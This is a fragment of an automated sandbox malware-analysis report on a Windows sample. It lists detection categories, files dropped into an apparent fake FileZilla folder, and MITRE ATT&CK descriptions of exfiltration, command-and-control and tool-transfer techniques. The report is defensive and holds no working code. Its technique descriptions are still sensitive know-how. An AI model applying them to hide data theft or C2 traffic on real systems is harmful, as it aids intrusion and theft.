Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Fzilla\AUTHORS (copy)

C:\Program Files (x86)\Fzilla\GPL.html (copy)

C:\Program Files (x86)\Fzilla\License.txt (copy)

C:\Program Files (x86)\Fzilla\NEWS (copy)

C:\Program Files (x86)\Fzilla\docs\fzdefaults.xml.example (copy)

C:\Program Files (x86)\Fzilla\docs\is-2JSOP.tmp

C:\Program Files (x86)\Fzilla\filezilla.exe (copy)

C:\Program Files (x86)\Fzilla\fzputtygen.exe (copy)

C:\Program Files (x86)\Fzilla\fzsftp.exe (copy)

C:\Program Files (x86)\Fzilla\fzshellext.dll (copy)

C:\Program Files (x86)\Fzilla\fzshellext_64.dll (copy)

C:\Program Files (x86)\Fzilla\fzstorj.exe (copy)

C:\Program Files (x86)\Fzilla\is-0BL99.tmp

C:\Program Files (x86)\Fzilla\is-0UGH2.tmp

Windows Analysis Report
rukT6hBo6P.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre